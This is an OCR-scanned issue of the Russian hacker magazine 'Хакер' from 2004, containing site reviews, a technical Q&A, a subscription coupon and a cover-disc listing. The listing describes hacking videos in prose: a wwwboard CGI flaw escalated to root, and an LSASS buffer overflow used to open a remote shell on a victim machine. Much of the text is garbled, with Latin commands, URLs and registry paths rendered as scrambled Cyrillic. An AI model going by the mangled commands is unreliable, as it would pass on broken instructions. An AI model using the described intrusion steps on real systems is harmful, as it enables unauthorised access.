ыыы-зиргетеЕ-Ьу-ги 



З а личной жизнью 
Сергина Стасика, 
проживающего в 
краснознаменном по- 
селке городского типа 
Донецк, добрая поло- 
вина рунета наблюда- 
ет уже почти год. 
Дневники простого 
парня из 11 класса 
переплюнут любой 
ЖЖ, каким бы смеш- 
ным он ни был. На 
протяжении вот уже 
почти года Стас пыта- 
ется исполнить свою давнюю мечту: "тогохнугься". Это значит, что он хочет од- 
нажды встретить девушку, с которой потом переспит, лишится девственности и 
придет в школу в новом учебном году "с фигурой и новыми впечатлениями". К 
сожалению, за лето ему не удалось найти подходящую партнершу, потому что в 
каждой из девушек его что-нибудь не устраивало. То у одной ремень красный, 
то другая не носит кроссовки, и если нападут гопники, они не смогут убежать, 
то у сестры третьей на ногах пальцы длинные. Логика этого парня не поддается 
никакому анализу. Его наивность не может не умилять. Каждый новый описан- 
ный день приводит меня в чувство поросячьего восторга и восхищения, поэто- 
му дневники Суприма до сих пор мне не наскучили. А как ты смотришь на тот 
факт, что всех, о ком Стас пишет, он награждает прозвищами? "Пуфик" - пото- 
му что низкий. "Горбун" - потому что когда ездит на мопеде, у него горб на курт- 
ке вздувается. "Миша" - потому что рот большой. 

В общем, это надо обязательно читать! Строго рекомендую! :) 




и и и • гыгиг ■ сот 




С айт о том, как зарабатывать деньги, не имея диплома об образовании, 
опыта, связей, и при этом не выходя из дома. Достаточно только уметь и 
любить программировать! ;) Здесь люди, сами уже успевшие долгое время 
повариться в этом бизнесе, расскажут обо всех премудростях и тонкостях 
шароварева в российских условиях. Советую начать с раздела РАО, затем 
прочитай рекомендуемые статьи и книги, пройдись по ссылкам и не забудь 
подписаться на предложенные рассылки. 




ЗЕЛЕНЫЕ ЧЕЛОВЕЧКИ 



ыыы-дгеептап-ги/Г1азН_іпсІех-Н1:т1 





С траничка зеленых человечков. На этом сайте мутанты с повышенной конце- 
нтрацией хлорофилла в крови выкладывают свои придуманные новости. Та- 
кое удовольствие почитать вечерком свежие материалы о том, например, что 
авиакомпании запретили провоз с собой одновременно трех пассатижей, пото- 
му что участились случаи провоза более трех пассатижей и т.д. Это так расслаб- 
ляет после ежедневной информации по телевизору о том, что террористы зах- 
ватили очередной самолет, загорелась труба нефтепровода и прочего негатива. 
К тому же, на сайте зеленых человечков есть куча флеш-мультиков, которые да- 
дут фору любой Масяне и Бивису с Батхедом. В главных ролях мультфильмов 
выступают, как ни странно, зеленые человечки с большими губами и смешными 
голосами. Это не инопланетяне, как может показаться сначала. Это просто плод 
накуренного воображения. Об этом свидетельствует заплетающаяся речь персо- 
нажей и полная неразбериха в мыслях, которые они хотят донести до зрителей. 
Меня очень пропер этот ресурс еще и потому, что его дизайн выполнен на пять 
с плюсом. В общем, если есть желание насладиться веселыми темами от уку- 
ренных создателей этого сайта - милости прошу. 







Задавая вопрос, подумай! Не стоит мне посыпать вопросы, так или иначе 
связанные с хаком/кряком/фриком - для этого есть ЬасИац 
(І)аск(адігеаІ.хакер.ш), не стоит также задавать откровенно памерские вопросы, 
ответ на которые ты при определенном желании можешь найти и сам. Я не телепат, 
поэтому конкретизируй вопрос, присыпай как можно больше информации. 



ІІІІІІІІІІІІІІІІІ 
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■ Как правильно деинсталлировать МісгозоЙ .Іаѵа ѴігіиаІ МасЫпе (.Л/М) с машины с 

■ установленной ХР? 



Р а Возможно, кто-то усомнится в целесообразности этой затеи, тем не менее, смею заве- 
■ рить, что резон есть. Эту пресловутую доисторическую .Іаѵа ѴігіиаІ МасЫпе не поддер- 
живает даже сама МісгозоЮ А ведь это ее продукт... Вдобавок уже давно имеется отличная за- 
мена - 5ип Місгозузіешз .ІѴМ Тог ѴѴіпсІоѵѵз (Іійр://іаѵа.5ип.соіп/деІ]аѵа/іп(Іех.МіііІ). Ее я и советую пос- 
тавить, как только удалишь стандартную .Л/М. Последнее выполняется следующим образом: 
О. В командной строке или в меню Пуск -> Выполнить набери: 

ВипОІІ32 абѵраск.бІІ,1-аипсбІМР5есІіоп іаѵа.іпі.ііпіпзіаіі. 

в. После того как процесс удаления закончится, смело соглашайся на перезагрузку. 

О. Далее удали всю папку \%зузТетгооТ%\іаѵа, а также файлы іаѵа.рпТ и іѵіеѵѵ.ехе(ѵѵ)ѵіеѵѵ.ехе) 
соответственно из %зузТе т гооТ%\і пТ и \%зузІетгооІ%\зузІет32. 

О. Не забудь и про реестр: ветки Тііе НКЕУ ЮСАБ МАСНІЩ50РШАВЕ\МісгозоЙ\.Іаѵа ѴМ 
гедізТгу зибкеу ТИе НКЕУ ШСАІ. МАСНІМЕ\50РТ\Л/АВЕ\МісгозоТТ\ІпТегпеТ 
ЕхрІогеДАбѵапсебОрбопзѴАѴА ѴМ гедізТгу зибкеутебе больше не нужны. 




Р я Подкрепившись раз изрядным количеством пива, решил я поставить в локалку Ігіз 
■ снифер. И вроде бы, все сделал правильно, кучу мануалов перечитал - все без толку, 
эта зараза не работает. Самое бредовое - в соседней небольшой локалке все отлично пашет. 
В чем грабли? 



Р в Скорее всего, у тебя дома коммутируемая локальная сеть, т.е. построенная с примене- 
■ нием свитчей. Ведь так? А обычные сниферы (в том числе и Ігіз) способны работать иск- 
лючительно в простеньких сетях с репитерами и хабами, где идущие по сети пакеты доступны 
любой рабочей станции. В сетях же, где активно используются современные средства марш- 
рутизации (свитчи, роутеры и т.п.), пакеты попадают непосредственно получателю. Перехва- 
тить их обычными методами невозможно: используются различные приемы. Например, агр- 
зрообпд, о котором ты сможешь прочитать подробнее в следующем номере Хакера. 
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■ Что нам готовит второй сервис-пак для ѴѴіпсІоѵѵз ХР? 



О в Возможно, кто-то начнет закидывать автора вопроса 
в камнями, сопровождая действо злобными выкриками 
о том, что 5Р - это всего лишь большой и кумулятивный на- 
бор заплаток к многочисленным дыркам модной майкрософ- 
товской оси. Но на самом деле вопрос вполне резонный. И 
объясняется это тем, что, помимо исправления багов, он не- 
сет в себе немало новшеств, которые с нашей стороны было 
бы нечестно не упомянуть. 

ѴѴіпсІоѵѵз ХР с установленным 5Р2 будет по умолчанию комп- 
лектоваться новой версией Іпіегпеі Соппесііоп РігеѵѵаІІ (ЮР), 
которая, по заявлению разработчиков, способна обеспечить 
стабильную двунаправленную защиту трафика. Благодаря ши- 
рокой системе настроек, файрвол при определенном желании 
может быть сконфигурирован под каждую отдельную рабочую 
станцию. Вдобавок новая версия ІСР будет активироваться в 
процессе загрузки, исключая вероятность внедрения лишних 
кодов в сеть до полной загрузки системы. 

Помимо этого, с ХР 5Р2 устанавливается значительно преоб- 
разованная версия технологии удаленного вызова процедур 
ВРС - ІМеЛл/огк АНаск Ргоіейіоп. Последняя призвана значи- 
тельно уменьшить возможности для атак против ХР при рабо- 
те с удаленными ресурсами. ВРС отныне будет работать со 
сниженными привилегиями и таким образом препятствовать 
внедрению и распространению различных вирусов и червей. 
Новая версия идущего в комплекте со вторым сервис-паком 
Іпіегпеі Ехріогег’а, помимо множества исправлений, обзаве- 
лась некоторыми полезными фишками. Среди них - доволь- 
но мощный блокиратор всплывающих окон и новая более бе- 
зопасная система подключения плагинов, ограждающая бра- 
узер от установки зру-ѵѵаге и вредоносных АсІіѵеХ элементов. 
В стремлении ограничить пользователя от ЭоЗ-атак разработ- 
чики также включили в 5Р несколько совершенно новых за- 
щитных технологий, первоначально разработанных для 
ѴѴіпсІоѵѵз І-Опдіюгп и предназначенных для борьбы с возмож- 
ным переполнением буфера. Одни работают на софтверном 
уровне, другие - исключительно на аппаратном и требуют 
спецификации процессора «по ехесиіе» (ЛІХ), имеющейся во 
всех современных процессорах Іпіеі и АІѴЮ. Эта особенность 
использует процессор для отделения кода приложения от 
данных, препятствуя тем самым попаданию опасного 
участок памяти, зарезервированный под данные. 
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Р а Подскажи, пожалуйста, каким образом можно настроить компьютер с 
в установленной ѴѴІпботз ХР/2000 для работы в нескольких (разных) ло- 
калках? К примеру, как сделать для ноутбука несколько профайлов (для дома, 
офиса и т.д.) с соответствующими настройками, а затем в зависимости от 
обстоятельств загружать один из них? 



о: 



Случаи, когда одна и та же машина работает в нескольких локальных 
сетях, действительно встречаются сплошь и рядом. И копаться каждый 
раз в конфигах локальной сети, мягко говоря, напрягает. Тем более парамет- 
ры для каждого конкретного места, как правило, сильно отличаются от всех 
остальных. Мы это уже проходили! В одном случае используются статические 
ІР-адреса и рабочие группы, в другом же, как назло - ОНСР и домены. Сло- 
вом, лучше разок толково наладить функционирование оси в нескольких ло- 
калках и радоваться жизни. Удивительно, что это реализуется крайне просто 
- в самом простом случае сойдет стандартная виндовская утилита №156, од- 
ной из функций которой является возможность сохранения сетевых настроек 
в специальный файл. Далее, разумеется, с ее помощью предусмотрена воз- 
можность их восстановления. Итак, приступим. 

Чтобы экспортировать текущую конфигурацию сети в отдельный файл, введи 
в командной строке следующее: 

пеЫі -с іпіеііасе йшпр >леЫогк$еШпд.М 

Появившийся в текущем каталоге пеб/ѵогкзейіпд.М будет представлять собой 
что-то вроде этого: 

# Конфигурация интерфейса 
ризбб іпіегіасе 
гесеі аІІ 



# Настройка ІР-интерфейсов 
ризбб іпіегіасе ір 

# Интерфейс настройки ІР для "Подключение по локальной сети" 

сеі аббгезз пате="Подключение по локальной сети" зоигсе^зіаііс а(№=192.168.0.1 
тазк=255.255.255.0 

$еі бпз пате-'Подключение по локальной сети" $оигсе=$ІаІіс абс1г=попе геді$іег=І 
зеі ѵѵіпз пате="Подключение по локальной сети" $опгсе=5(а(іс аг!бг=попе 
рорй 

# Конец настройки интерфейса ІР 



Как видишь, все сетевые настройки как на ладони (в данном случае компью- 
тера, находящегося в рабочей группе и имеющего статический - 192.168.0.1 
- ІР-адрес). Позже, когда потребуется этот конфиг загрузить, достаточно бу- 
дет вызвать №1зб со следующими параметрами: 
пеізб -1 пейл/огкзейіпд.М 

Думаю, не стоит объяснять, что те же действия в случае необходимости мож- 
но провести и во всех остальных локальных сетках. Кстати, N6136 - это не 
единственный доступный вариант. Так, например, утилиты Меі Зѵѵіісбег 
(м.пейѵііісііег.сопі) и МиІііМей/ѵогк Мападег (м.дІоЬе$о(ісот) специально зато- 
чены для быстрой (и что немаловажно - автоматической) смены сетевых 
настроек. 
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Р ш Работая консультантом в компьютерном магазине, я получаю самые 
■ разнообразные и порой неожиданные вопросы. Из последних - какая 
термопаста лучше? Я уверенно отвечаю - КПТ-8. Но прав ли я? Какие еще 
аналоги существуют, и стоит ли рекомендовать их к использованию? 

О в ТІІап-5104 - очень распространенная термопаста. Получила широкое 
■ распространение во многом благодаря тому, что поставляется в комп- 
лекте с известными кулерами Тііап. Паста серебристого цвета, не очень густая. 
Термодинамические характеристики, судя по многочисленным обзорам и отзы- 
вам пользователей, средние. И это даже несмотря на заявленное производите- 
лем 10% содержание серебра ;). Я уж не знаю, действительно ли оно в ней со- 
держится, но могу сказать точно, что с удалением ТіІап-5104 с процессора мо- 
гут возникнуть большие проблемы. С рук она даже с мылом плохо смывается. 
КПТ-8 - пожалуй, самая известная термопаста в России. Применяется не 
только в компьютерной индустрии, но во многих других отраслях. И, замечу, 
небезуспешно - это определенно лучшее, что сейчас доступно на потреби- 
тельском рынке. Паста представляет собой густую грязно-белую жидкость, 
которую легко наносить и удалять с необходимой поверхности. Поставляется 
в различных упаковках: у меня есть и в тюбике, и в маленькой пластмассовой 
коробочке. 

АлСил-3 - еще одна термопаста, которая заслужила немалую популярность 
среди российских оверклокеров. Она также довольно густая, хорошо наносит- 
ся и удаляется с процессора. Поставляется в удобном шприце. Термодинами- 
ческие характеристики весьма неплохие - хорошая альтернатива КПТ-8. 




Р в В статье «Работа с посредниками» (X 03.04) ты описал способ 
в соксификации программ под ѴѴІпбоѵѵз. А что же делать ипіх- 
пользователям? Неужели оставаться не у дел? 



0 в Для самых маленьких напомню, что ЗОСКЗ’ификация - это верный 
в способ заставить работать практически любые программы (к примеру, 
почтовый клиент) через прокси-серверы (50СК54, 80СК55). Линуксовым 
аналогом небезызвестных виндовых приложений ЗоскСар и ЗоскзСІпаіп явля- 
ется прога РгохуСйаіпз (ІіІІр://$оигсе(огде.пеі/рго)есІ$/ргохусІіаіп$/). Ее установка 
проще некуда - на уровне «таке-таке іпзіаіі». С конфигурацией (/еіс/ргоху- 
сііаіпз.сопі) также все предельно ясно, поэтому подробно остановлюсь лишь 
на описании методов смены проксей: 

- ОупатісСбаіп - последовательная смена прокси с автоматической провер- 
кой на работоспособность. Первый сервер из списка обязательно должен 
быть валидным (рабочим). Со всеми остальными не все так критично. Мерт- 
вые будут просто игнорироваться. 

- ЗІгісІСбаіп - прокси выставляются в цепочку, как есть. Другими словами, 
строго по порядку без каких-либо проверок. Не рекомендую. 

- ВапсІотСІтаіп - абсолютно случайная цепочка. Каждый раз подставляется 
случайный сервер из списка. 

Напомню, что для создания цепочки из прокси годятся лишь ЗОСКЗ и НТТР5- 
СОИМЕСТ серверы. Что касается формата прокси-листа, то он не вполне 
стандартен и имеет вид «<тип сервера> <его ІР-адрес> <порт>». Напри- 
мер, зоскзб 68.107.221.199 1080, где все составляющие разделены знаком 
табуляции. Так что будь внимателен. 

Теперь обратимся непосредственно к процессу соксификации приложений. 
Чаще всего это может быть выполнено следующим образом: ргохусбаіп <имя 
исполняемого файла приложениях То есть, чтобы подключиться Іеіпеі’ом к 
ЗМТР-серверу, нужно набрать в консоли «ргохусйаіпз Іеіпеі зтір.хакер.гц 25». 
Однако есть и исключения. Например, сканер портов птар надо запускать с 
опциями -зТ (Іср-соппей): ргохусТіаіпз птар -зТ Остальные ключи> <ір>. В 
противном случае ничего не выйдет. И это еще не все! Большинство софта, 
поставляемого в ВРМ, также изначально не поддается стандартным методам. 
Проблема, по заявлению разработчиков, связана с включенной поддержкой 
динамических библиотек и, соответственно, решается их отключением. Дру- 
гими словами, придется собрать несоксифицирующуюся прогу с включенны- 
ми статическими модулями: ./сопіідиге -епаЫе-зИіс. 



■ Подскажи, где в Сети бесплатно предоставляют ипіх-шелл? 



Р ш О. суЬегзрасе.огд предоставляет лишь мегабайт рабочего места, при 
■ этом весь исходящий интернет-трафик заблокирован (исключение 
составляют утилиты Іупх, Ііпдег, ѵѵйоіз). 

О. ѵш.ігеезііеіі.огд - довольно привлекательный сервис. Первоначально дают 
20 метров места, домашнюю страницу и мыло, а также сервисы ісц, ЬЬоагсІ 
датез, ТОР8-20, тиб, дорбег. После того как пройдешь специальную 
проверку (типа, я не спамер и не хакер - шелл нужен в образовательных 
целях), получишь еще и еіт, ріпе, таііх, гтаіі, Іупх, сді (Іітііеб), Ьазб, кзб, 
Ісзб, гс, 25Іі, Ісізіі. Подробные инструкции лежат на сайте. 

О. мшооІзІіеІІ.Ье - 5 Мб, ЗЗН, полный перечень стандартных утилит. Если в 
течение определенного времени ничего страшного не натворишь, тебе 
разрешат доступ к ІВС. 

Разумеется, каждый из этих сервисов запрещает какие-либо фоновые 
дгоипсі) процессы, в том числе различные ІВС баунсеры и боты. 





Р а Помоги настроить мою Ііпих-Ьазеб ось для реализации поддержки 
в ПАЮ-массива. Имеется ли в Линуксе поддержка ВАЮ'а по умолчанию? 
Если нет - какие патчи следует установить? 



0 в Большинство современных дистрибутивов поставляются с ядрами се- 
в мейства 2.4, на которых по умолчанию установлены все необходимые 
патчи. Поэтому шанс того, что патчить ничего не придется, довольно велик. 
Развеять сомнения поможет команда «саі/ргос/тбзіаі». 

РегзопаІіНез: [Ііпеаг] [гаібО] [гаіііі] [гаШ5] [ігапзііісепі] 
геаб_аРеаб поі зеі 
ипизеб беѵісез: <попе> 

Если в ответ ты получишь что-то вроде этого, то можешь ни о чем волновать- 
ся, т.к. поддержка ПАЮ уже имеется. В противном случае выходов два: либо 
апдейтить ядро (все необходимое есть на любом СО нашего журнала), либо 
патчить его. Необходимые добавки лежат здесь: 

ІіІІр://реорІе.гесІІіа1.сот/пііпдо/гаі(І-раІсІіе5/. Установить их не составляет особого 
труда: 

О. Распакуй скачанное в какую-нибудь директорию - к примеру, 
/изг/згс/Ііпих. 

О. В консоли введи: «раісіа -рі /раІбДо/гаіб-ѵегзіоп.раІсб». 

О. Пересобери ядро, набрав «таке теписопіід». 

Теперь операционная система для работы с ВАЮ'ом готова - пора настраи- 
вать специальный софт. Наиболее популярными являются два набора утилит 
- тбабт (ѵѵтѵѵ.с$е.ип5ѵѵ.есІи.аи/~пеіІЬ/$оигсе/тсІас1т/), что поновее, и гаібіооіз 
(Шр://реорІе.гес1У.сот/тіпдо/гаі(1іооІ$/). Оба имеют схожую функциональность и 
комплектуются хорошими мануалами (с установкой разбираться будешь сам). 
Я бы порекомендовал остановиться на первом. Почему? Дело в том, что он 
значительно проще в установке и использовании. С тем же гаісііооіз'ом у ме- 
ня возникло немало проблем: даже во время компиляции то и дело возника- 
ли непонятные ошибки, которые впоследствии, правда, сами собой (!) «испа- 
рились». Странно - вроде бы с шаманским бубном вокруг не плясал... 
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А 



РЕДАКЦИОННАЯ 



ПОДПИСКА 



ВЫ МОЖЕТЕ ОФОРМИТЬ РЕДАКЦИОННУЮ ПОДПИСКУ НА ЛЮБОЙ РОССИЙСКИЙ АДРЕС 



БЕСПЛАТНАЯ 

КУРЬЕРСКАЯ ДОСТАВКА ПО МОСКВЕ 

Хочешь получать журнал 
через 3 дня после выхода? 

Звони 935-70-34 



ДЛЯ ЭТОГО НЕОБХОДИМО: 



1. Заполнить подписной купон (или 
его ксерокопию) 

2. Заполнить квитанцию (или 
ксерокопию). Стоимость подписки 
заполняется из расчета: 



Хакер 

6 месяцев - 420 р ублей 
12 месяцев - 840 рублей 

Хакер + 2С0 

6 месяцев - 690 р ублей 
12 месяцев - 1 380 рублей 

(В стоимость подписки включена 
доставка заказной бандеролью.) 

3. Перечислить стоимость подписки 
через Сбербанк. 

4. Обязательно прислать в редакцию 
копию оплаченной квитанции с четко 
заполненным купоном 

или по электронной почте 
5иЬзсгіЬе_ха@датеІапс1.ги 
или по факсу 924-9694 (с 
пометкой "редакционная подписка"), 
или по адресу: 

107031, Москва, Дмитровский 
переулок, д 4, строение 2,000 "Гейм 
Лэнд" (с пометкой "Редакционная 
подписка"). 

Рекомендуем использовать 
электронную почту или факс. 



Если мы получаем заявку 
после 5-го числа текущего месяца, 
доставка начинается со 
следующего месяца 

справки по электронной почте 
5иЬзсгіЬе_ха@датеІапсІ.ги 
или по тел. (095) 935-7034 

В случае отмены заказчиком 
произведенной подписки, деньги за 
подписку не возвращаются 



ПОДПИСНОМ КУПОН (редакционная подписка) 

Прошу оформить подписку на журнал "Хакер" 



□ 

□ 



Ф.И.О. 



На 6 месяцев, начиная с_ 
На 12 месяцев, начиная с 



(отметь квадрат, выбранного варианта подписки) 



□ без диска 

□ 2 СО 

(выбери комплектацию) 



индекс 


город 




улица, дом, квартира 


телефон 


подпись 


сумма оплаты 



Извещение 



Кассир 



Квитанция 

Кассир 



■>€ 



ИНН 7729410015 



ООО "ГеймЛэнд" 



ЗАО «Международный Московский Банк», г. Москва 



р/с №40702810700010298407 



к/с №30101810300000000545 



БИК 044525545 



КПП: 772901001 



Плательщик 



Адрес (с индексом) 



Назначение платежа 
Оплата журнала "Хакер" 




Сумма 


с 


2004 г. 





Подпись плательщика 



ИНН 7729410015 



ООО "ГеймЛэнд" 



ЗАО «Международный Московский Банк», г. Москва 



р/с №40702810700010298407 



к/с №30101810300000000545 



БИК 044525545 



КПП: 772901001 



Плательщик 



Адрес (с индексом) 



Назначение платежа 




Сумма 


Оплата журнала "Хакер" 






с 


2004 г. 





Подпись плательщика 



Подписка для юридических лиц 



ѵѵѵѵѵѵ.іпІегросМа.ги 



Москва: ООО "Интер-Почта", тел.: 500-00-60, е-таіі: іпіег-ро5і@зоѵіп*еІ.ги 
Регионы: ООО "Корпоративная почта", тел.: 953-92-02, е-таіі: крр@зоѵіп1еІ.п 

Для получения счета на оплату подписки нужно прислать заявку с названием журнала, периодом подписки, банковскими 
реквизитами, юридическим и почтовым адресом, телефоном и фамилией ответственного лица за подписку. 










Ролик о том, как с помощью уязвимости в шІЬоагб получить 
рутовые привилегии на Ііпих-сервере с установленным фору- 
мом. Суть уязвимости: изменение значений переменных че- 
рез СОІ-поток, передаваемый скрипту форума. Из-за отсут- 
ствия контроля на подстановку в поток системных перемен- 
ных (например, ѵ\ЛЬоагсІ.сді?сіаіа=/, где сіаіа - системная пе- 
ременная), хакер способен заменить их значение, что приве- 
дет к фатальным последствиям (в частности к подмене сис- 
темного каталога). В итоге, взломщик может обратиться к 
сценарию администрирования без знания логина и пароля. 
Затем при помощи 551-вызова хакер способен закачать бэк- 
дор на сервер и запустить его. После всего с помощью обыч- 
ного рігасе-ктосі-эксплойта злоумышленник получает руто- 
вые права. Все это изложено в одном интересном ролике. 

О ВИДЕО ПО ВЗЛОМУ: 

1.8011 КРС ВІІ6: НЕМОТЕ 8НЕІ1 



В видео этого номера демонстрируется относительно новый 
мелкомягковский баг в ѴѴіпХР/2000. На этот раз ошибку перепол- 
нения буфера содержит либа Ізазп/.бІІ. Любой юзер может пос- 
лать на 445 порт удаленного компа сформированный специаль- 
ным образом пакет, в результате чего появится возможность ис- 
полнения произвольного кода. Хакер, записавший видеовзлом, 
скачивает эксплойт, использующий эту уязвимость, и компили- 
рует его. После этого он сканирует сеть на 445 порт и, найдя тач- 
ку с открытым портом, натравливает на нее эксплойт. Сплойт ус- 
пешно срабатывает, в результате чего на машине-жертве откры- 
вается 1234 порт. Хаксор Іеіпеі'ится на удаленную тачку и полу- 
чает шелл-доступ к компьютеру. В качестве доказательства взло- 
ма он оставляет хозяину компа сообщение в файле с:\беІІо.М. 

О ПСВ0МІ8 08 8ЕИСТ0К 8.0 

ос: №N001118 



Ніпѵ лрвѵв 



** 2 '■ іг- (I 



Мощнейшее средство для установки нескольких операционок 
на одну машину. Можно установить хоть 100 осей и радовать- 
ся жизни, т.к. при этом будет создана удобная загрузка систем 
с любого раздела диска, тачка защищена от загрузочных виру- 
сов и т.п. Можно даже установить разные версии винды на 
один раздел. С помощью программы легко изменять файловые 
системы (поддерживается РАТ16, РАТ32, РІТР5, Шпих Ех12, ЕхіЗ, 
Р1еізегР5 и Шпих 5ѵѵар). 

Список поддерживаемых осей: 



А ИІІпііоиз 3.1 + 005 
А Міпсісш 95 
А Міпбомз 95 05В 2 
а МіпОош 98 
А Міпбоѵтз МЕ 
а №пбои$ N1 3.1 
а Мікіоѵв N1 3.5 
А ЩІШІ0И5 N1 3.51 
А Мпбоѵтз N1 4.0 
А Міпбоѵтз 2000 
а Шпбош ХР 

-іітпих (все дистрибутивы) 

^РгееВ50 
а 5оІагі$ 

^5С0іш 

Аштш. 

А 05/2 
А Ве05 

А в-твои 

а Специальная поддержка неизвестных систем 

О НЕСЕТ ОЕШХЕ 4 

0С: №N001118 

Новая версия очень хорошей качалки программ. Думаю, что и 
без моих комментариев ее все прекрасно знают. Так что поль- 
зуйся! Кстати, в папке с прогой есть плагин для желающих под- 
ружить РІеСіеі и Оперу. 



;:9 ■ цйніктЯ ГѴЖ***- . «Іічі 

I Ф -МгйшпР 











О РТРШРО 1.6.3 

ос: ші нооііі/з 

Наверняка у тебя есть довольно большой список РТР- 
серверов, откуда ты постоянно сливаешь музыку, софт и 
фильмы (если канал позволяет). Обычно на таких серверах все 
свалено в кучу, и следить за обновлениями довольно трудно. 
Для упрощения поиска тебе поможет Ріріпіо. Вот что она 
умеет: 

А следить за состоянием РТР-серверов (сервер доступен или нет): 

А следить за появлением, удалением или изменением файлов на РТР- 
серверах; 

а скачивать выбранные файлы с РТР-серверов с возможностью 
регулирования скорости: 

а формировать отчеты об изменениях на ГТР-сервере в любом виде: 
а передавать сформированные отчеты на РТР-сервер или по е-таіі; 
а производить поиск файлов среди опрошенных серверов: 
а производить поиск РТР-серверов в указанном диапазоне адресов. 




ОНШОЕѴІСПМЕПП8 2.4 

ос: шиоотз 




Эта замечательная прога предназначена для слежения за тач- 
ками в локальной сети с возможностью архивирования про- 
исходящего. Админишь ты сетку в компьютерном клубе, а ка- 
кой-то чел наивно пытается ее поломать. Ты это сразу засе- 
каешь и пресекаешь все попытки. Нісісіеп Сатегаз позволяет 
отслеживать действия сразу на 50 компах в локале, а сохра- 
нять в архив можно с промежутком от 1 до 3600 секунд. Так- 
же имеются два режима наблюдения: 1 ) полноэкранный - это 
когда ты как будто сам сидишь за монитором, 2) одновремен- 
но показываются 4 или 9 экранов. Режим автозапуска камер 
позволяет включать запись при запуске программы и/или при 
включении компьютера "клиента". 



О 8ТЕСПИІ08 8ЕСІІНЕ ЕИЕ8Н0НШС 6 

ос: ИІШ00Ш8 

Прога, предназначенная для людей, которые постоянно поль- 
зуются шаринговыми сервисами (Каіаа, Могрбеиз, іМезб, 
еМиІе, Зоиізеек) и обеспокоены безопасностью хранения 
данных, скачанных из этих сетей. Программа создает файл- 
контейнер, который подключается к системе компьютера в 
виде отдельного диска, и данные в котором шифруются в ре- 
альном режиме времени алгоритмом 1 28-Ыі АЕ5, и все то, 
что ты скачиваешь с помощью Кахаа, Могрбеиз, іМезб, еМиІе, 
Зоиізеек, хранится в этом контейнере. Данные в контейнере 
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■ ѴѴШОѴѴ5 

■ зузіет 

Асгопіз 05 ЗеІесіог 8.0 
Оезкіор ЗісІеЬаг 1 .04 Виікі 66 Ьеіа 
ВАМ Заѵег Рго 3.6 
Антивирус Касперского РегзопаІ 5.0 

■ пеі 

Ріріп/о 1.6.3 
Нісісіеп Сатегаз 
ВеОеІ Оеіихе 4.0 
Тбе Ваі! 2.10.03 
ТбипсІегЬігсІ 0.6 

■ йеѵеіортепі 

ОетоЗбіеІсі 7.5 
СРЗсгірІ 3.0.15 
ІпзІаІІЗбіеІсІ Ехргезз 5.0 
Місгозоіі ѴізиаІ С++ Тооікіі 2003 
МуЗоигсе 2.10.2 
ШгаЕсііі-32 10.20 
ѵВиіІсі 2.1 

■ тиііітесііа 

Арріе іТипез 
ВВ РбоІоАгсбіѵег 4.0.7 
СОМепиРго 3.22.04 
СбгізТѴ Ргоіеззіопаі 3.60 
РоіоОДісе 2.0 
ІЗО Соттапсіег 1 .3 
Него 6.3 



■ тізс 

Охудеп Рбопе Мападег II ѵ.2.3 
РеЗІиЬОЕР 1 .0 

Зіедапоз Зесиге РіІеЗбагіпд 6 
Туріпд ВеІІех 2.21 
иІСЕ 2.34 

Шітаіейр 3.0 Веіа 
Хакер СО ОаІаЗаѵег 4.2 

■ ІЖІХ 

■ зузіет 

Судѵѵіп 1.5.10 
кегпеі 

■ пеі 

АиІоЗсап Веіа 0.9 В2 
Ооѵупіоасіег Іог X 2.5.0гс4 
05 РАМ 3.0.0. Ьеіа.З 
Кореіе 0.8.2 
УтеѴѴіге 3.9.4 
Орел ѴѴеЬМаіІ 2.32 
рбрМуАсІтіп 2.5.6 
РНРХ 3.4.0 
Тбипсіегйгсі 0.6 

■ сіеѵеіортепі 

дсс 

МуЗоигсе 2.10.2 
ВОСК Ипих 2.0.1 
гртгеЬиіІсі 1 .4.6-2 



■ тиііітесііа 

ВІМЗ рбоіо аІЬит 
СіпеІегга 



1.1.26 



СОѵіеѵѵ 1 .4.3 
ХѵЮІ.ОгсЗ 

■ тізс 

Еѵоіиііоп 1.5.7 

Зітріе ЗатЬа Соттапсіег 0.8.0 
1)п2ір 5.51 

■ сігіѵегз 

САТАДУЗІ ѴѴІпсіоѵѵз ХР 4.5 
КІѴЮІА сігіѵегз 



■ ІІпіхѴѴАВЕІ 

Атауа ѵ 8.5 
СбетіооІ ѵ 1 .6 
СІат АпііѴігиз ѵ 0.70 
тбѴѴаѵеЕсІІІ ѵ 1.2.9 
№ззиз ѵ 2.0.10 
I ѵ 1.38 
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■ ѴізиаІНаск++ 

- ѵѵіЬоагсі регІЬид 

- І.5А5ВѴ ВРС Ьид: гетоіе збеіі 

- Прохождение конкурса Взлома 

■ Архив журналов в РйР 

■ ШароѴѴАНЕІ 

Апіі-Возз Кеу 3.88 
ВаЬуІоп Рго ѵ 5.0 
ВгоѵѵзеЗО ѵ 2.5 
СІопеОѴО ѵ 2.0.8.4 
СгузіаІРІауег ѵ 1 .76 Рго 
ОоѵѵпНоах ѵ 1 .02 
НИ ЗреІІег ѵ 1 .3 
МаібТуре ѵ 5.2 
Рзегѵ ѵ 2.2 
ЗВВипЗсг ѵ 2.46 



■ Х-ТООІ2 

ВСАгсбіѵе І.О.ОЬеіа 
ІСОТ20 Ьу Оуасіуа 
Регтео Зесигііу Огіѵег 4.2 
ѴѴіпсіоѵу ѴѴазбег 
ѴѴіпсіоѵуз Ріпсіег 

■ ТВАЗН 
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письмо: от: Инкогнито [таі!Ю:ту-Ігаз!і@уапсіех.ги] 




Добрый день, уважаемые редакторы еще более уважаемого журнала. Уже один 
раз писал Вам, предлагал на одном из дисков, которые прилагаются к журналу, 
разместить архив эксплойтов. Теперь еще хочу предложить размещать на дисках 
трЗ’шки с вашего сайта - ѵѵѵѵѵѵ.хакер.ги! Ведь не у каждого читателя есть возмож- 
ность их скачивать. 

Надеюсь, Вы рассмотрите мои предложения. 

Ответ X: 

З доровеньки булы, Инкогнито! Твой ник я знал, когда еще читал про Чичи- 
кова в пьесе Пушкина "Отцы и дети" (ну там еще ревизор со смешным 
ником "Инкогнито" приезжал), поэтому было приятно получить письмо от 
почти знакомого человека. Мы рассмотрели твое предложение и пришли к вы- 
воду, что эксплойты на диск выкладывать не стоит, потому что мы не хотим за- 
ниматься распространением вредоносных программ (мы же законопослушные 
хакеры ;)). При желании, свободно распространяемые эксплойты можно най- 
ти на любом сайте, специализирующемся в области интернет-секьюрити. С 
мптришками тоже не все радостно. Дело в том, что мы и так выкраиваем каж- 
дый килобайт места на дисках, чтобы напихать побольше полезных программ 
для своих читателей, так что под музыку на дисках места просто нет. Хотя, мы 
подумаем еще и, возможно, начнем выпускать журнал с тремя дисками ;). 

За сим откланиваюсь, чао-какава! 

